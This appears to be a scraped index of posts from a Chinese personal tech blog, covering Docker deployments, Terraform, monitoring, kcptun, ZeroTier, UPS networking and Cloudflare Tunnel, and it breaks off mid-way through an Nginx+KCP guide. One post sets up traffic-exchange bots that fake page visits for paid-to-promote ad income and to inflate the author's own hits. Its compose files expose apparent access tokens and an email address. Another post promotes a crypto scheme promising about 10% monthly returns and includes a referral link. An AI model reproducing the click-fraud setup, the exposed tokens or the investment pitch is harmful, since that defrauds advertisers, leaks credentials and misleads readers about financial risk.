backups: etc: config: plugins: themes: 需要注意的是这里的 env_file是 stack.env，因为这里是使用 portainer 来进行部署的。再下面的配置的环境变量是在上面的compose代码中实现的，如果需要使用 envfile 来导入容器环境的时候就需要 使用 stack 文件来进行配置。这个是portainer 在自己的环境内部自动生成的。\n.env # Copy this file to .env before building the container. # Put any local modifications here. # Run under this UID/GID. # OWNER_UID=1000 # OWNER_GID=1000 # FPM settings. #PHP_WORKER_MAX_CHILDREN=5 #PHP_WORKER_MEMORY_LIMIT=256M # ADMIN_USER_* settings are applied on every startup. # Set admin user password to this value. If not set, random password will be # generated if default password is being used, look for it in the \u0026#39;app\u0026#39; # container logs. ADMIN_USER_PASS=tmppass # Sets admin user access level to this value. # Valid values: # -2 - forbidden to login # -1 - readonly # 0 - default user # 10 - admin #ADMIN_USER_ACCESS_LEVEL= # Auto create another user (in addition to built-in admin) unless it # already exists. #AUTO_CREATE_USER= #AUTO_CREATE_USER_PASS= #AUTO_CREATE_USER_ACCESS_LEVEL=0 # Default database credentials. TTRSS_DB_USER=postgres TTRSS_DB_NAME=postgres TTRSS_DB_PASS=password # You will likely need to set this to the correct value, see README.md # for more information. TTRSS_SELF_URL_PATH=http://server.me:8280/tt-rss # You can customize other config.php defines by setting overrides here. # See app/Dockerfile for complete list. Examples: # TTRSS_PLUGINS=auth_remote # TTRSS_SINGLE_USER_MODE=true # TTRSS_SESSION_COOKIE_LIFETIME=2592000 # TTRSS_FORCE_ARTICLE_PURGE=30 # etc, etc. # bind exposed port to 127.0.0.1 by default in case reverse proxy is used. # if you plan to run the container standalone and need origin port exposed # use next HTTP_PORT definition (or remove \u0026#34;127.0.0.1:\u0026#34;). HTTP_PORT=8280 #HTTP_PORT=8280 ","date":"2022-11-26T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/11/tinytinyrss--docker%E9%83%A8%E7%BD%B2/","tags":["docker","RSS"],"title":"TinyTinyRss--Docker部署"},{"categories":["网上赚钱"],"contents":"前 手上有几台vps和自己的小主机，都是低负载运行的状态。最近研究了下到底有没有办法让他们工作起来，来弥补下开机成本甚至小小盈利。这篇把过程中的总结和自己的一些感想收录一下。\n经过研究之后，简单来说方法有二\n闲置带宽售卖 PTP点击以及流量互换 闲置带宽售卖 简介 先从简单的说起，这个方式算是早有耳闻。国内搞得风生水起的玩客云/流量矿厂。其主要原理是使用你的主机/服务器的闲置上行带宽来作为CDN 的边缘节点。\nCDN，内容分发网络。简单的讲解一下。如果你在CN而需要访问美国的一个站点。那么你需要通过遥远的链路到美国的服务器上去获取资源。这个过程当然会严重的受链路的影响导致十分缓慢的速度。当我们接入了CND网络之后，就可以理解为我们先访问了一个CN 的节点，这个节点代理我们的请求通过一个服务商优化的链路来得到美国服务器上的资源。并且进行资源的缓存。通过这样的过程之后，我们以后请求这个资源就相当于直接在 CN 的节点上进行获取，可以获得很不错的访问质量。\n所以这里的闲置带宽的售卖实际上就是把你的主机作为一个CDN节点。来对用户的请求资源来进行缓存并且提供访问。 通过这样的行为来获得收入。\n部署 这里使用两个常用的服务商\ntraffmonetizer peer2profit 部署方式非常的简单，这里直接给出来 docker-compose文件。\ntversion: \u0026#39;3.3\u0026#39; services: peer2profit: restart: always network_mode: host environment: - P2P_EMAIL=r4y.root@gmail.com container_name: peer2profit image: \u0026#39;peer2profit/peer2profit_linux:latest\u0026#39; traffmonetizer: restart: always network_mode: host container_name: tm image: traffmonetizer/cli command: start accept --token \u0026#34;vui5wtru5TAN/cpd+ixFwVAEpJTP331MskC3ILXxT38=\u0026#34; 效果 需要有公网的IPv4 的主机才能收获较好的性能和效果。如果是自家的局域网环境以及纯ipv6的环境下。收入情况并不理想。IPv4 如果在热点地区（美洲/欧洲）可以有大概10usd/mo 的收入。\nPTP与流量互换 简介 这个是一个比较有意思的东西，也是自己接触到的一个新的点\u0026mdash;-流量互换。有没有想过，一个页面或者服务要进行刷访问量该怎么做呢？是不是需要很多个IP来进行请求来进行模拟。有没有一个平台或者工具来组织这些呢？\n有，那就是流量互换平台。\n通过主机运行的Agent来对接受网站请求的任务，完成任务来实现访问量的增长。同时你会获得Credit点数。你可以消耗这些点数来给平台其他的机器下发任务来帮助你自己来完成点击的模拟。这样就完成了这个生态的全部链条。\n但是怎么获利呢？答案是 PTP（PTP (Paid To Promote) ）\nPTP 是付费播放宣传页面的网站。此类网站仅通过广告获得资金，大部分时间使用 creadunet 创建的 PTP 脚本。在这些网站上，您会看到宣传页面包含很多内容由 Internet 上的各种广告网络提供的脚本显示的横幅。\n简单来说，就是通过某些推广链接/广告内容的点击，来获利。\n部署 这里使用的流量互换平台是下面两个平台，都是老牌的可用平台。\nfeelingsurf otohits PTP获利使用的是：\noneptp 提供CPM 0.3元 rotate4u 美国PTP CPM0.1usd 服务使用docker-compose 来进行一键部署\nversion: \u0026#39;3.3\u0026#39; services: feelingsurf: network_mode: host container_name: feelingsurf environment: - access_token=915b838e968a7149ba98df0e60c5b5f9 image: \u0026#39;feelingsurf/viewer:stable\u0026#39; restart: unless-stopped otohits: restart: unless-stopped container_name: otohits environment: - APPLICATION_KEY=83bd081a-af06-447a-a7b5-f0663833003d image: \u0026#39;otohits/app:latest 效果 需要有足够多的机器才能获得较高的点数以及PTP的收入，另外不同PTP对有效hit的判别不同。收益情况建议尝试之后再确定。这里测试两台机器一个月在5usd附近。\n后 认识到了流量互换平台的机制，明白了其获利以及工作原理。现在我也可以来刷流量了。给自己的blog来刷点击。\n也让自己闲置的VPS忙了起来，钱不多但是可以抵消一些vps成本。\n","date":"2022-11-25T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/11/%E7%BD%91%E4%B8%8A%E8%B5%9A%E9%92%B1--ptp%E4%B8%8E%E6%B5%81%E9%87%8F%E4%BA%92%E6%8D%A2/","tags":["PTP","CDN"],"title":"使用VPS赚钱--带宽出租与PTP流量互换"},{"categories":["OP之路"],"contents":"前 目前Infra 的占比部分在日常的工作占比略高。一直在考虑自己做接口来把一些常用的操作和流程自动化来执行。但是一直觉得不够优雅，在云的接口上抹烂泥的感觉。\n所以就对相关的解决方式进行预研，遇上了Terraform，一个实现 IaC（infrastructure as Code）的方案。\n这篇文章就简单的记录下，在目前环境下的接入方法。涉及到\n原始方式的单实例导入 Terrformer 的批量资源导入 存量资源导入到Terrform 先指定provider，之后 terraform init 来进行环境初始化\nterraform { required_providers { aws = { source = \u0026#34;hashicorp/aws\u0026#34; version = \u0026#34;~\u0026gt; 3.0\u0026#34; } } } provider \u0026#34;aws\u0026#34; { region = \u0026#34;eu-central-1\u0026#34; } 添加新的VM空配置，来承载后面的导入的vm状态\nresource \u0026#34;aws_instance\u0026#34; \u0026#34;myvm\u0026#34; { ami = \u0026#34;unknown\u0026#34; instance_type = \u0026#34;unknown\u0026#34; } 执行导入操作\nterraform import aws_instance.myvm \u0026lt;Instance ID\u0026gt; 把id对应的VM 实例状态导入至我们生命的 aws实例中。\n之后执行 terraform plan 可以看到现在的state和实际上的state 的差异以及预计改变。\nTerraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: ~ update in-place Terraform will perform the following actions: # aws_instance.myvm will be updated in-place ~ resource \u0026#34;aws_instance\u0026#34; \u0026#34;myvm\u0026#34; { id = \u0026#34;i-0b9be609418aa0609\u0026#34; ~ instance_type = \u0026#34;t2.micro\u0026#34; -\u0026gt; \u0026#34;unknown\u0026#34; ~ tags = { - \u0026#34;Name\u0026#34; = \u0026#34;MyVM\u0026#34; -\u0026gt; null } # (27 unchanged attributes hidden) # (6 unchanged blocks hidden) } Plan: 0 to add, 1 to change, 0 to destroy. 这里需要修正上面我们制定的缺省的 ami 和 instance_type。所以这里我们修改tf 的内容为。\nresource \u0026#34;aws_instance\u0026#34; \u0026#34;myvm\u0026#34; { ami = \u0026#34;ami-00f22f6155d6d92c5\u0026#34; instance_type = \u0026#34;t2.micro\u0026#34; tags = { \u0026#34;Name\u0026#34;: \u0026#34;MyVM\u0026#34; } } 这里我们还可以使用\nterraform state show alicloud_instance.myvm -no-color \u0026gt; cvm.tf 来进行这个实例的全部状态的导出，。但是会多很多无用的状态以及一些不受控制的状态，需要进行plan查看后逐一进行删减\n之后再执行 terraform plan 会发现，提示已经是No changes.，说明我们的VM的状态已经和本地的状态保持一致了。也就是我们完成了资源的导入。\n一键导入大杀器 存量资源的单个导入是比较低效且慢的。这里就找到了一个第三方来进行一键导入的神器。由google 的sre团队研发。支持Azure/GCP/AWS/Cloudflare\nTerraformer 新版本的terraform 可能会出现初始化错误，这里使用\nterraform state replace-provider -auto-approve \u0026#34;registry.terraform.io/-/aws\u0026#34; \u0026#34;hashicorp/aws\u0026#34; 在使用的时候可能存在部分资源导入之后的属性值不兼容的问题，需要对tf中的资源进行手动删除，对应的 state 也需要rm 掉。\n参考 Terraform —— 使用代码管理基础设施\nTerraform 是什么？\n","date":"2022-10-25T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/11/terraform-%E9%A2%84%E7%A0%94--%E4%BB%8E%E5%AF%BC%E5%85%A5%E5%AD%98%E9%87%8F%E4%B8%BB%E6%9C%BA%E5%BC%80%E5%A7%8B/","tags":["Terraform","IaC"],"title":"Terraform 预研--从导入存量主机开始"},{"categories":["crypto"],"contents":"前 Crypto 行业目前还在发展的早期，很多项目的被动收入的收益是很不错的。理解的人很少，敢投资的人更少。所以为了早退休，最重要的就是进行早期的投资。现在的crypto很多都是scam，这些看页面做工也能看出来其单薄的本质。\n这里的这个项目是 在 MasterNodes 上看到的，排名第一的 Sapphire，这个是他们的平台子币，从2019年运行到现在币价在当前行情下还是处于平稳增长的趋势。\n第一条规则，永远不要冒险超过你能接受失去的本金。本文不是投资建议，仅根据我的经验进行个人评论。在做出任何投资决定之前请咨询专家。确保您分配的资金在您的可控风险之内。\n简介 关于Yieldnodes的进行下面几点的简单的介绍\n主要来自运营 masternode 的节点（见上面的站点） 从2019/9运营到现在，其币价经历过地步地板时期 官方说明的**月利息大概在~10%**左右，笔者投资的两个月时间其回报率在 9%/mo 最低投资是500欧元/或者等值美元 最低投资期限是6个月，六个月之后才可以申请对利润的 withdraw 每个月的利息可以选择部分复利，或者全部提走（笔者计划回本后就提走不管了） 原理 首先在目前的主流的Crypto 的共识机制中有PoW 和 PoS 两种。 POW 需要投入主机/GPU算力来进行。重资本和能量。 POS 则通过Coin 的质押，来成为网络验证者来提供收益。YieldNodes 的主要收益来源是 PoS方式。\nYieldnodes 参与了PoS的代币网络维护，运行 PoS 节点来获取收益。如果站在Crypto的角度来看就是从yieldnodes租用server来维护网络。所以在项目的前期，很多新的 POS项目的收益是非常高的。这也是巨额回报的来源。\n就像个人玩家挖头矿一样，承担Coin归零的风险，却享受着上百倍的爆发收益。\n一样的可以在 masternodes 看到 YN 目前投资的项目。\nDecenomy Coin ⚠️风险 风险来源 收入和风险（在合适的区间内）是成正比的。项目能做到 10% 的月利率，120%的年化。那么可以明确的是风险也是大上天了的。所以风险不的不谈。\n平台风险\n存进去的钱要锁住6个月。如果这个项目是Scam，骗子会把钱都卷走。不过这个团队在业界业界比较有名，YT和 tw 上面都有很多的视频以及介绍。以及官网，知识库等完成度是很高的。这种风险不大。\n系统性风险\n系统风险是不能忽略的一点，因为投资的项目都是在 Crypto 的项目，从上面的MasterNode 的列表也能看到，投资的项目都是新兴的成熟度和稳定度都很差的项目。如果出现Coin的系统性风险，那么项目本身显然会收到影响。另外随着项目变得成熟以及规模话的话，收益也会出现显著钝化\nAlpha + Beta\n公司审计 这里引用原文的话，因为Crypto的新兴原因，没有任何的适用法律和监管\nSince the very start of YieldNodes in October 2019 we have generated an average of 10%+ monthly in value, and we wanted to give our members who stood with us some peace of mind. Talk is cheap, so we wanted to put the money where our mouth is.\nYieldNodes is going strong but it is still\nNOT regulated or supervised by any financial entity yet STILL a VERY RISKY participation model, and things can always go sour NOT trading Cryptos and NOT a Bitcoin pegged investment By NO MEANS a bank account or retirement fund! 自 2019 年 10 月 YieldNodes 启动以来，我们平均每月产生 10% 以上的价值，我们希望让与我们站在一起的会员安心。说话很便宜，所以我们想把钱放在嘴边。\nYieldNodes 正在发展壮大，但它仍然是\n尚未受到任何金融实体的监管或监督 仍然是一个非常冒险的参与模式，事情总是会变糟 不交易加密货币而不是比特币挂钩投资 绝不是银行账户或退休基金！ 但是项目方在审计方面也是在做积极的努力。YN会邀请报名的审计人员到 马耳他的工作地点来进行实地的审计以及考察。下面这个是最近的一次的审计报告和结果。\nYieldNodes / Decenomy 参与者审计 我的操作 在研究了挺久这个项目之后还是选择小额度的购买。按照目前的月化9%复利的情况下大概在10月左右回本，到时候会提取本金部分。\n推广 当然如果你感兴趣的想试试的话，500U 也是OK 。下面是我的 YN 的推广链接，欢迎注册\n我的推广 参考 Yieldnodes - The next generation of crypto passive income YieldNodes/Decenomy Knowledge Database YieldNodes: An Assessment of Risk YN当前的币种的区块浏览器 ","date":"2022-08-24T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/08/%E6%97%A9%E9%80%80%E4%BC%91%E8%A2%AB%E5%8A%A8%E6%94%B6%E5%85%A5--yieldnodes/","tags":["理财","被动收入","早退休被动收入"],"title":"早退休被动收入--Yieldnodes"},{"categories":["OP之路"],"contents":"前 关于如何快速构建企业级别的监控系统的问题方式各异。进来研究了Grafana 的 Mimir方案。像是发现了新宝藏，基于Prometheus 超越 Prometheus。\n这篇文章简单的介绍一下 Mimir 优势 和其简单的配置\n需求 多租户 高可用 数据持久化 告警配置以及记录 上面都是目前使用原生的 Prometheus 遇到的问题，1/2/3/4 这几点问题都需要自行来设计方案来进行告警构建。提升监控系统的复杂性。\n原生prometheus 的配置基于主机的文件来实现，不便于批量管理和维护。\n方案 使用 Grafana Mimir 的方案来实现监控系统。下面来简单列举其优点。\n扩展性 Mimir 不侵入原有的监控体系。使用 prometheus 的 remote write 来进行简单的的横向配置来写到 mimir 中。\n且在RemoteWrite时候可以使用 header 来区分租户。来实现mimor 的多租户模式。（租户的数据隔离也是使用 Header来实现）\n多租户接入 配置实例：\nremote_write: - url: http://172.16.0.77:9009/api/v1/push headers: X-Scope-OrgID: Project1 监控配置 可以使用 通过 mimirtool 来进行告警的批量管理，配置文件被远程保存在 S3 等持久化存储上面\nGrafana Mimirtool Grafana Mimir Alertmanager mimirtool alertmanager get --address= 127.0.0.1:9009 --id=test mimirtool alertmanager load alertmanager-mimir.yml --id Project1 --address=http://127.0.0.1:9009 mimirtool --id Project1 --address=http://127.0.0.1:9009 --id=test rules get pool ec2 mimirtool --id Project1 --address=http://127.0.0.1:9009 rules load ./elb.yml mimirtool --id Project1 --address=http://127.0.0.1:9009 rules list 另外，最重要的是 grafana 的前端面板支持直接进行告警条目的添加以及修正，大幅度降低了告警管理以及维护成本。\n数据迁移 从老Prometheus 实例来到 minir 集群来进行迁移。可以参考官方的文档来进行操作。\nhttps://grafana.com/docs/mimir/next/migration-guide/migrating-from-thanos-or-prometheus/\n参考 Viewing Grafana Mimir dashboards ","date":"2022-08-19T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/08/%E5%BC%80%E7%AE%B1%E5%8D%B3%E7%94%A8mimir%E7%9B%91%E6%8E%A7/","tags":["监控","pprometheus"],"title":"开箱即用Mimir监控"},{"categories":["玩点什么"],"contents":"前 记录一下最近的homelab 的网络改造。因为在使用Zerotier来实现VPN的连接。但是因为连路质量问题。一直收到拨测告警。blog断断续续掉线。\n所以用 Kcptun 来进行连接质量提升\n关于kcptun 的项目，可以看到 github 的\nhttps://github.com/xtaci/kcptun Kcptun 是一个非常简单和快速的，基于 KCP 协议的 UDP 隧道，它可以将 TCP 流转换为 KCP+UDP 流。而 KCP 是一个快速可靠协议，能以比 TCP 浪费10%-20%的带宽的代价，换取平均延迟降低 30%-40%，且最大延迟降低三倍的传输效果。\n部署过程 内核参数优化 修改内核参数来优化UDP性能\nsysctl -w net.core.rmem_max=26214400 sysctl -w net.core.rmem_default=26214400 sysctl -w net.core.wmem_max=26214400 sysctl -w net.core.wmem_default=26214400 sysctl -w net.core.netdev_max_backlog=2048 # vim /etc/sysctl.conf # kcptun opz net.core.rmem_max=26214400 net.core.rmem_default=26214400 net.core.wmem_max=26214400 net.core.wmem_default=26214400 net.core.netdev_max_backlog=2048 服务命令 #server /root/kcptun/kcp_server -l \u0026#34;:29900\u0026#34; -t \u0026#34;127.0.0.1:80\u0026#34; --key admin@123 --mode fast2 #client /root/qspace/kcptun/client_linux_amd64 -r 192.168.3.14:29900 -l :29901 --key admin@123 --mode fast2 ","date":"2022-08-14T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/11/kcptun%E5%8A%A0%E9%80%9F%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F/","tags":["内网穿透","VPN"],"title":"Kcptun加速内网穿透"},{"categories":["玩点什么"],"contents":"前 这个是之前自己部署的网络方案，结果因为自己升级libgd。一些关键函数没了导致系统崩溃。又是一阵折腾。\n这里把一些关键配置给记录一下。主要是 zerotier 的内网路由的配置。这里有些技巧\n配置正文 先ifconfig 查看zerotier 添加的 VPN 网卡信息\nztb****** Link encap:Ethernet HWaddr 76:22:11:33:C5:30 inet addr:192.168.191.** Bcast:192.168.191.255 Mask:255.255.255.0 inet6 addr: fe80::7445:95ff:fea7:c530/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:2800 Metric:1 RX packets:23475 errors:0 dropped:0 overruns:0 frame:0 TX packets:25046 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:3610614 (3.4 MiB) TX bytes:18392426 (17.5 MiB) 在网络接口中创建一个静态IP，其IP地址和该接口的ip一致。\n运行时间: 3d 12h 2m 27s MAC 地址: 4E:22:18:1A:88:FD 接收: 5.83 MB (44539 数据包) 发送: 29.95 MB (45752 数据包) IPv4: 192.168.191.86/24 而后开始配置防火墙设置。在区域中新建ZeroNet域，关联zerotier 的接口。设置ZeroNet到 Lan 的入站，出站，转发为接受。\n至此就完成了zerotier 到本地二级路由的配置。\n后 这是一篇没啥内容的记录配置文章，写它的主要目的是因为在家用的路由上折腾花了不少精力。虽然是有了成功可是有一些没有记录下来。导致如果被重置的话很多东西需要重新的在研究。所以这篇就被这些小东西记录下来，给后面的自己来抄作业。\n","date":"2022-08-05T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/11/zerotier%E5%AE%9E%E7%8E%B0%E5%86%85%E7%BD%91%E5%85%A8%E8%AE%BF%E9%97%AE%E5%A4%9A%E7%BA%A7%E8%B7%AF%E7%94%B1/","tags":["内网穿透","VPN"],"title":"Zerotier实现内网全访问（多级路由）"},{"categories":["玩点什么"],"contents":"前 为了群晖的磁盘安全，减少断电等情况导致的硬盘损坏。购入了施耐德的UPS，型号是BK650M2。先前一直是连接在群晖的USB口来进行UPS的数据读取，以及获取状态等。但是因为UPS是给整个机箱供电的，里面还有其他几个设备。所以感觉单单接在群晖上面不合适。\n另外最近全屋也接入了HomeAssistant。UPS 本身有Load 和 Max power的参数。负载百分比*最大功率 就能得出我们目前的实时功耗。很方便。\n所以就研究了下在Openwrt 中通过NUT（Network UPS Tools）来把我么的UPS 数据转为网络UPS\n配置 Openwrt 安装需要的驱动以及应用。\nopkg install nut nut-common nut-driver-usbhid-ups nut-server nut-upsc 之后进行配置文件的编辑 /etc/config/nut_server，添加UPS的支持\nconfig driver \u0026#39;apc\u0026#39; # APC BK650 is compatible with the usbhid driver option driver usbhid-ups # auto detect USB port option port auto config listen_address option address 0.0.0.0 config upsd upsd 之后重启upsd服务\n/etc/init.d/nut-server reload 查看UPS信息，可以看到UPS 的USB设备了\nroot@OpenWrt:~# lsusb Bus 001 Device 026: ID 051d:0002 American Power Conversion Back-UPS BK650M2-CH FW:294803G -292803G Bus 002 Device 001: ID 1d6b:0003 Linux 5.15.53 xhci-hcd xHCI Host Controller Bus 004 Device 001: ID 1d6b:0003 Linux 5.15.53 vhci_hcd USB/IP Virtual Host Controller Bus 001 Device 001: ID 1d6b:0002 Linux 5.15.53 xhci-hcd xHCI Host Controller Bus 003 Device 001: ID 1d6b:0002 Linux 5.15.53 vhci_hcd USB/IP Virtual Host Controller 使用 upsc命令查看当前的UPS状态。\nroot@OpenWrt:~# upsc Error: invalid UPS definition. Required format: upsname[@hostname[:port]] root@OpenWrt:~# upsc apc battery.charge: 100 battery.charge.low: 1 battery.mfr.date: 2001/01/01 battery.runtime: 2605 battery.runtime.low: 120 battery.type: PbAc battery.voltage: 13.5 battery.voltage.nominal: 12.0 device.mfr: American Power Conversion device.model: Back-UPS BK650M2-CH device.serial: 000000000000 device.type: ups driver.name: usbhid-ups driver.parameter.pollfreq: 30 driver.parameter.pollinterval: 2 driver.parameter.port: auto driver.parameter.synchronous: no driver.version: 2.7.4 driver.version.data: APC HID 0.96 driver.version.internal: 0.41 input.sensitivity: low input.transfer.high: 278 input.transfer.low: 160 input.voltage: 226.0 input.voltage.nominal: 220 ups.beeper.status: enabled ups.delay.shutdown: 20 ups.firmware: 294803G -292803G ups.load: 15 ups.mfr: American Power Conversion ups.mfr.date: not set ups.model: Back-UPS BK650M2-CH ups.productid: 0002 ups.realpower.nominal: 390 ups.serial: 000000000000 ups.status: OL ups.test.result: Done and passed ups.timer.reboot: 0 ups.timer.shutdown: -1 ups.vendorid: 051d 而后在HA 中添加 NUT 的设备就OK了\nrefer: https://linux-man.org/2021/09/28/monitoring-ups-status-with-nutnetwork-ups-tools-on-openwrt/\n","date":"2022-08-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/11/apc-ups%E9%80%9A%E8%BF%87nut%E8%BD%AC%E6%8D%A2%E7%BD%91%E7%BB%9Cups/","tags":["UPS","OpenWrt"],"title":"APC UPS通过NUT转换网络UPS"},{"categories":["玩点什么"],"contents":"前 自古CF出好物，在使用了CF免费的 mail proxy 非常爽的时候，新产品又免费了。\nCloudflare 出品的一个反向代理的产品 Cloudflare Tunnel。大厂品质值得信耐。\n（实际上是因为自己的blog 是走CF代理到HK再转发进来的性能上实在不咋地） 操作指南 在CF 的面板点开 Traffic-\u0026gt;Cloudflare Tunnel，进入Cloudflare Zero Trust。再打开Access -\u0026gt; Tunnels。\ncreate Tunnels，任意命名。之后选择缓环境，这里有Docker是最好的，统一统一。\n在主机运行起来之后，就创建publicname 的访问子域名，service 填写内网的可达IP。\n保存之后，就OK了，无痛配置\n后 CF好物真真多，免费真良心。（其实免费用户是CF 的很重要的一部分，因为实际上是新服务和新发布的测试对象）\n","date":"2022-08-01T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2022/08/cloudflare-tunnel%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8Ffree/","tags":["docker","ops","cloudflare","反向代理"],"title":"Cloudflare tunnel内网穿透(FREE)"},{"categories":["网络架构"],"contents":"前 在运维跨境API服务的过程中，我遇到了一个棘手的问题：海外客户访问国内API接口时，延迟高达300-500ms，而且丢包率在5%左右。这种网络质量严重影响了用户体验，尤其是在需要频繁交互的场景下。\n经过一段时间的研究和测试，我设计了一套基于Nginx + KCP的跨境加速方案，将延迟降低到100ms以内，丢包率控制在1%以下。这篇文章分享我的实践经验和完整的配置方案。\n核心问题分析 跨境API访问慢的根本原因有三个：\n路由跃点过多：国际链路经过多个运营商转发，每个跃点都增加延迟 TCP拥塞控制不适应高延迟网络：标准TCP在长距离传输时效率低下 TLS握手开销大：每次连接都需要完整的握手过程，在高延迟网络中尤其明显 解决思路：使用Nginx在接入层完成TLS握手，通过KCP协议对后端通信进行加速。\n方案架构 整体设计 我的方案分为三层：\n客户端 → Nginx (TLS Termination) → KCP Tunnel → 源站API 架构优势：\nTLS前置终结：Nginx在靠近客户端的节点完成TLS握手，避免握手延迟 协议优化：后端使用KCP协议替代TCP，针对高延迟网络优化 智能路由：Nginx根据URL规则进行分流和重写，实现精细化控制 关键技术选型 KCP协议 KCP是一个快速可靠的ARQ协议，专门为解决TCP在恶劣网络环境下的性能问题而设计。核心特点：\nRTO翻倍增长控制：比TCP更激进的重传策略 选择性重传：只重传丢失的包，而不是整个窗口 快速重传：检测到丢包立即重传，不等待超时 更新更快的RTT采样：更准确地适应网络变化 KCP的代价是比TCP多消耗10-20%的带宽，但在高延迟、高丢包的跨境网络中，这个trade-off是值得的。\n项目地址：https://github.com/skywind3000/kcp\n具体实现 部署架构 我的实际部署是这样的：\n接入节点：香港VPS（靠近海外用户，运行Nginx + kcptun client） 源站节点：国内服务器（运行API服务 + kcptun server） 通信方式：客户端 HTTPS → Nginx → KCP隧道 → HTTP API 第一步：安装kcptun 在接入节点和源站节点都需要安装kcptun。\n# 下载kcptun wget https://github.com/xtaci/kcptun/releases/download/v20230811/kcptun-linux-amd64-20230811.tar.gz tar -xzf kcptun-linux-amd64-20230811.tar.gz # 移动到系统路径 sudo mv server_linux_amd64 /usr/local/bin/kcptun-server sudo mv client_linux_amd64 /usr/local/bin/kcptun-client sudo chmod +x /usr/local/bin/kcptun-* 第二步：配置kcptun服务端（源站） 在国内源站服务器上配置kcptun server：\n# 创建配置文件 cat \u0026gt; /etc/kcptun-server.json \u0026lt;\u0026lt;EOF { \u0026#34;listen\u0026#34;: \u0026#34;:4000\u0026#34;, \u0026#34;target\u0026#34;: \u0026#34;127.0.0.1:8080\u0026#34;, \u0026#34;key\u0026#34;: \u0026#34;your-strong-password-here\u0026#34;, \u0026#34;crypt\u0026#34;: \u0026#34;aes\u0026#34;, \u0026#34;mode\u0026#34;: \u0026#34;fast3\u0026#34;, \u0026#34;mtu\u0026#34;: 1350, \u0026#34;sndwnd\u0026#34;: 1024, \u0026#34;rcvwnd\u0026#34;: 1024, \u0026#34;datashard\u0026#34;: 10, \u0026#34;parityshard\u0026#34;: 3, \u0026#34;dscp\u0026#34;: 46, \u0026#34;nocomp\u0026#34;: false, \u0026#34;acknodelay\u0026#34;: false, \u0026#34;nodelay\u0026#34;: 1, \u0026#34;interval\u0026#34;: 10, \u0026#34;resend\u0026#34;: 2, \u0026#34;nc\u0026#34;: 1, \u0026#34;sockbuf\u0026#34;: 4194304, \u0026#34;keepalive\u0026#34;: 10 } EOF 关键参数说明：\nlisten：KCP监听端口 target：本地API服务地址（假设API运行在8080端口） mode: \u0026quot;fast3\u0026quot;：激进模式，适合高丢包网络 datashard/parityshard：前向纠错参数，10+3配置可以容忍30%丢包 nodelay/interval/resend：控制重传策略的核心参数 创建systemd服务：\ncat \u0026gt; /etc/systemd/system/kcptun-server.service \u0026lt;\u0026lt;EOF [Unit] Description=KCPtun Server After=network.target [Service] Type=simple ExecStart=/usr/local/bin/kcptun-server -c /etc/kcptun-server.json Restart=on-failure RestartSec=10 StandardOutput=journal StandardError=journal [Install] WantedBy=multi-user.target EOF # 启动服务 sudo systemctl daemon-reload sudo systemctl enable kcptun-server sudo systemctl start kcptun-server 第三步：配置kcptun客户端（接入节点） 在香港接入节点配置kcptun client：\ncat \u0026gt; /etc/kcptun-client.json \u0026lt;\u0026lt;EOF { \u0026#34;localaddr\u0026#34;: \u0026#34;127.0.0.1:8888\u0026#34;, \u0026#34;remoteaddr\u0026#34;: \u0026#34;源站IP:4000\u0026#34;, \u0026#34;key\u0026#34;: \u0026#34;your-strong-password-here\u0026#34;, \u0026#34;crypt\u0026#34;: \u0026#34;aes\u0026#34;, \u0026#34;mode\u0026#34;: \u0026#34;fast3\u0026#34;, \u0026#34;mtu\u0026#34;: 1350, \u0026#34;sndwnd\u0026#34;: 128, \u0026#34;rcvwnd\u0026#34;: 1024, \u0026#34;datashard\u0026#34;: 10, \u0026#34;parityshard\u0026#34;: 3, \u0026#34;dscp\u0026#34;: 46, \u0026#34;nocomp\u0026#34;: false, \u0026#34;acknodelay\u0026#34;: false, \u0026#34;nodelay\u0026#34;: 1, \u0026#34;interval\u0026#34;: 10, \u0026#34;resend\u0026#34;: 2, \u0026#34;nc\u0026#34;: 1, \u0026#34;sockbuf\u0026#34;: 4194304, \u0026#34;keepalive\u0026#34;: 10 } EOF 这里localaddr暴露一个本地端口，后续Nginx会反向代理到这个端口。\n创建systemd服务：\ncat \u0026gt; /etc/systemd/system/kcptun-client.service \u0026lt;\u0026lt;EOF [Unit] Description=KCPtun Client After=network.target [Service] Type=simple ExecStart=/usr/local/bin/kcptun-client -c /etc/kcptun-client.json Restart=on-failure RestartSec=10 StandardOutput=journal StandardError=journal [Install] WantedBy=multi-user.target EOF sudo systemctl daemon-reload sudo systemctl enable kcptun-client sudo systemctl start kcptun-client 第四步：配置Nginx（接入节点） Nginx负责TLS终结、请求分流和URL重写：\nupstream api_backend { server 127.0.0.1:8888; keepalive 64; } server { listen 443 ssl http2; server_name api.example.com; # SSL配置 ssl_certificate /etc/ssl/certs/api.example.com.crt; ssl_certificate_key /etc/ssl/private/api.example.com.key; ssl_protocols TLSv1.2 TLSv1.3; ssl_ciphers HIGH:!aNULL:!MD5; ssl_prefer_server_ciphers on; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m; # 日志配置 access_log /var/log/nginx/api_access.log; error_log /var/log/nginx/api_error.log; # 通用配置 client_max_body_size 10M; proxy_read_timeout 60s; # API v1路由 location /api/v1/ { proxy_pass http://api_backend/v1/; proxy_http_version 1.1; proxy_set_header Connection \u0026#34;\u0026#34;; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; # 禁用缓冲以降低延迟 proxy_buffering off; } # API v2路由（带URL重写） location /api/v2/users { rewrite ^/api/v2/users/(.*)$ /internal/user-service/$1 break; proxy_pass http://api_backend; proxy_http_version 1.1; proxy_set_header Connection \u0026#34;\u0026#34;; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For 